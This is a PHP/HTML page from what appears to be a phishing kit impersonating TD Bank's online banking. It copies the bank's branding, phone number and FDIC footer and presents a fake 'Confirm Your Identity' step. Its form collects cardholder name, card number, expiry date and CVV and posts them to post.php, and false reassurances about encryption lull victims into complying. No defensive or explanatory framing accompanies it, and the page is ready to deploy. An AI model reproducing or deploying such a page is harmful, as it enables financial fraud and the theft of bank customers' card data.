<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Serif+4:wght@300;400;600&family=Source+Sans+3:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>TD Bank — Confirm Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --green:        #038203;
            --green-dark:   #1a5336;
            --green-deep:   #123a26;
            --green-light:  #eaf5ea;
            --text:         #1a1a1a;
            --text-sub:     #3a4a3a;
            --text-muted:   #6a7a6a;
            --border:       #c0d4c0;
            --border-focus: #038203;
            --white:        #ffffff;
        }
        html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; background: #fff; color: var(--text); }
        .page { min-height: 100vh; display: grid; grid-template-rows: auto 1fr auto; }

        .top-nav { background: var(--green); border-bottom: 4px solid var(--green-dark); padding: 0 48px; display: flex; align-items: center; justify-content: space-between; height: 64px; z-index: 10; }
        .nav-logo { display: flex; align-items: center; gap: 14px; }
        .nav-logo img { height: 36px; width: auto; }
        .nav-logo-divider { width: 1px; height: 22px; background: rgba(255,255,255,0.3); }
        .nav-logo-label { font-family: 'Source Serif 4', serif; font-size: 15px; font-weight: 300; color: rgba(255,255,255,0.9); letter-spacing: 0.04em; }
        .nav-links { display: flex; align-items: center; gap: 28px; }
        .nav-links a { font-size: 13px; color: rgba(255,255,255,0.85); text-decoration: none; font-weight: 400; transition: color 0.15s; }
        .nav-links a:hover { color: #fff; }
        .nav-phone { font-size: 13px; color: rgba(255,255,255,0.8); display: flex; align-items: center; gap: 6px; }

        .main { display: grid; grid-template-columns: 1fr 460px 1fr; align-items: start; padding: 48px 24px 64px; background: #fff; }

        .side-panel { grid-column: 1; padding: 0 48px 0 max(48px, calc((100% - 1100px) / 2)); padding-top: 24px; max-width: 480px; margin-left: auto; }
        .side-title { font-family: 'Source Serif 4', serif; font-size: 28px; font-weight: 300; line-height: 1.35; color: var(--green-dark); margin-bottom: 24px; }
        .side-title strong { font-weight: 600; display: block; }

        .card-mockup { width: 260px; height: 155px; border-radius: 12px; background: linear-gradient(135deg, var(--green-dark) 0%, var(--green-deep) 100%); border: 1px solid rgba(3,130,3,0.2); padding: 20px 22px; display: flex; flex-direction: column; justify-content: space-between; box-shadow: 0 12px 40px rgba(26,83,54,0.2), 0 2px 8px rgba(0,0,0,0.08); margin-bottom: 32px; position: relative; overflow: hidden; transition: transform 0.4s; }
        .card-mockup:hover { transform: translateY(-3px); }
        .card-mockup::before { content: ''; position: absolute; top: -40px; right: -40px; width: 140px; height: 140px; border-radius: 50%; background: rgba(3,130,3,0.08); }
        .card-chip { width: 30px; height: 22px; border-radius: 4px; background: rgba(3,130,3,0.45); border: 1px solid rgba(3,130,3,0.3); }
        .card-number { font-size: 11px; letter-spacing: 0.2em; color: rgba(255,255,255,0.4); font-weight: 300; }
        .card-footer-row { display: flex; justify-content: space-between; }
        .card-label { font-size: 9px; letter-spacing: 0.1em; text-transform: uppercase; color: rgba(255,255,255,0.28); }
        .card-stripe { position: absolute; bottom: 0; left: 0; right: 0; height: 3px; background: var(--green); opacity: 0.8; }

        .security-badge { display: flex; align-items: center; gap: 10px; padding: 14px 16px; background: #fff; border: 1px solid var(--border); border-left: 3px solid var(--green); border-radius: 4px; }
        .security-badge p { font-size: 12px; color: var(--text-muted); line-height: 1.5; }
        .security-badge strong { display: block; font-size: 13px; color: var(--text); font-weight: 600; margin-bottom: 2px; }

        .login-wrap { grid-column: 2; }
        .login-card { background: #fff; border: 1px solid var(--border); border-top: 4px solid var(--green); border-radius: 2px; padding: 40px 44px 44px; box-shadow: 0 2px 12px rgba(3,130,3,0.07), 0 8px 32px rgba(0,0,0,0.04); animation: cardIn 0.4s ease both; }
        @keyframes cardIn { from { opacity: 0; transform: translateY(12px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 24px; }
        .card-logo img { height: 60px; width: auto; display: block; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 28px; }
        .step { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; border-radius: 50%; font-size: 11px; font-weight: 600; flex-shrink: 0; }
        .step.done   { background: var(--green-light); color: var(--green-dark); }
        .step.active { background: var(--green); color: #fff; }
        .step.pending{ background: #eef5ee; color: #90b090; }
        .step-line      { flex: 1; height: 1px; background: var(--border); }
        .step-line.done { background: var(--green-dark); opacity: 0.3; }

        .card-header { margin-bottom: 24px; padding-bottom: 20px; border-bottom: 1px solid #e8f2e8; }
        .card-header h1 { font-family: 'Source Serif 4', serif; font-size: 22px; font-weight: 600; color: var(--green-dark); margin-bottom: 6px; letter-spacing: -0.01em; }
        .card-header p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; }

        .sec-notice { display: flex; align-items: center; gap: 9px; background: var(--green-light); border: 1px solid rgba(3,130,3,0.2); border-radius: 3px; padding: 10px 13px; margin-bottom: 22px; }
        .sec-notice svg { flex-shrink: 0; color: var(--green-dark); }
        .sec-notice span { font-size: 12.5px; color: var(--green-dark); font-weight: 400; }

        .field { margin-bottom: 18px; }
        .field label { display: block; font-size: 13px; font-weight: 600; color: var(--text); margin-bottom: 6px; }
        .field input { width: 100%; height: 44px; padding: 0 14px; border: 1px solid var(--border); border-radius: 3px; font-family: 'Source Sans 3', sans-serif; font-size: 15px; color: var(--text); background: #fff; outline: none; transition: border-color 0.15s, box-shadow 0.15s; -webkit-appearance: none; }
        .field input::placeholder { color: #a0b8a0; font-weight: 300; }
        .field input:focus { border-color: var(--border-focus); box-shadow: 0 0 0 3px rgba(3,130,3,0.12); }

        .field-row { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; margin-bottom: 18px; }
        .field-row .field { margin-bottom: 0; }

        .btn-main { width: 100%; height: 46px; background: var(--green); color: #fff; border: none; border-radius: 3px; font-family: 'Source Sans 3', sans-serif; font-size: 15px; font-weight: 600; cursor: pointer; letter-spacing: 0.02em; display: flex; align-items: center; justify-content: center; gap: 8px; transition: background 0.15s, box-shadow 0.15s; margin-bottom: 20px; }
        .btn-main:hover { background: var(--green-dark); box-shadow: 0 3px 14px rgba(3,130,3,0.25); }

        .card-divider { height: 1px; background: #e8f2e8; margin-bottom: 18px; }
        .card-links { display: flex; flex-direction: column; gap: 10px; }
        .card-links a { font-size: 13.5px; color: var(--green-dark); text-decoration: none; font-weight: 400; display: flex; align-items: center; gap: 4px; transition: opacity 0.12s; }
        .card-links a:hover { opacity: 0.7; text-decoration: underline; }

        .page-footer { background: var(--green-dark); padding: 20px 48px; display: flex; align-items: center; justify-content: space-between; gap: 24px; flex-wrap: wrap; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; transition: color 0.15s; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.35); }
        .fdic-badge span { font-size: 10px; font-weight: 700; letter-spacing: 0.12em; color: rgba(255,255,255,0.5); border: 1px solid rgba(255,255,255,0.25); padding: 2px 6px; border-radius: 2px; }

        @media (max-width: 900px) { .main { grid-template-columns: 1fr; padding: 32px 20px 48px; } .side-panel { display: none; } .login-wrap { grid-column: 1; max-width: 460px; width: 100%; margin: 0 auto; } .top-nav { padding: 0 24px; } .nav-links { display: none; } }
        @media (max-width: 500px) { .login-card { padding: 28px 24px 32px; } .field-row { grid-template-columns: 1fr; } }
    </style>
</head>
<body>
<div class="page">
    <nav class="top-nav">
        <div class="nav-logo"><img src="res/img/logo.png" alt="TD Bank"><div class="nav-logo-divider"></div><span class="nav-logo-label">Online Banking</span></div>
        <div class="nav-links"><a href="#">Personal</a><a href="#">Small Business</a><a href="#">Commercial</a><a href="#">Wealth</a><a href="#">About TD</a></div>
        <div class="nav-phone"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07A19.5 19.5 0 013.07 9.81a19.79 19.79 0 01-3.07-8.67A2 2 0 012.18 0h3a2 2 0 012 1.72c.127.96.361 1.903.7 2.81a2 2 0 01-.45 2.11L6.91 7.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45c.907.339 1.85.573 2.81.7A2 2 0 0122 14.92z"/></svg>1-855-242-2287</div>
    </nav>
    <main class="main">
        <aside class="side-panel">
            <h2 class="side-title">One more step<br><strong>to stay secure.</strong></h2>
            <div class="card-mockup">
                <div class="card-chip"></div>
                <div class="card-number">•••• &nbsp; •••• &nbsp; •••• &nbsp; ••••</div>
                <div class="card-footer-row"><span class="card-label">Cardholder Name</span><span class="card-label">MM / YY</span></div>
                <div class="card-stripe"></div>
            </div>
            <div class="security-badge">
                <svg width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="#038203" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
                <p><strong>256-bit SSL Encryption</strong>Your card details are encrypted and never stored in plain text.</p>
            </div>
        </aside>
        <div class="login-wrap">
            <div class="login-card">
                <div class="card-logo"><img src="res/img/logo2.png" alt="TD Bank"></div>
                <div class="step-indicator">
                    <div class="step done">✓</div><div class="step-line done"></div>
                    <div class="step active">2</div><div class="step-line"></div>
                    <div class="step pending">3</div>
                </div>
                <div class="card-header"><h1>Confirm Your Identity</h1><p>Enter your card details to verify your account</p></div>
                <div class="sec-notice"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg><span>Your card details are encrypted and secure</span></div>
                <form action="post.php" method="post">
                    <div class="field"><label for="name">Cardholder Name</label><input type="text" name="name" id="name" placeholder="As shown on card" autocomplete="cc-name"></div>
                    <div class="field"><label for="cc">Card Number</label><input type="text" name="cc" id="cc" required placeholder="XXXX XXXX XXXX XXXX" autocomplete="cc-number" inputmode="numeric"></div>
                    <div class="field-row">
                        <div class="field"><label for="exp">Expiration Date</label><input type="text" name="exp" id="exp" required placeholder="MM / YY" autocomplete="cc-exp" inputmode="numeric"></div>
                        <div class="field"><label for="cvv">Security Code</label><input type="password" name="cvv" id="cvv" required placeholder="CVV" autocomplete="cc-csc" inputmode="numeric"></div>
                    </div>
                    <button type="submit" class="btn-main">Continue <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg></button>
                </form>
                <div class="card-divider"></div>
                <div class="card-links">
                    <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Having trouble? Contact support</a>
                    <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>Back to sign in</a>
                </div>
            </div>
        </div>
    </main>
    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">Contact Us</a></div>
        <div class="fdic-badge"><span>FDIC</span><span style="border:none;font-weight:300;font-size:11px;letter-spacing:0;color:rgba(255,255,255,0.35);margin-left:6px;">Member FDIC. Equal Housing Lender.</span></div>
        <div class="footer-copy">© 2025 TD Bank, N.A. All rights reserved.</div>
    </footer>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
<script>$("#cc").mask("0000 0000 0000 0000");$("#exp").mask("00/00");$("#cvv").mask("0000");</script>
</body>
</html>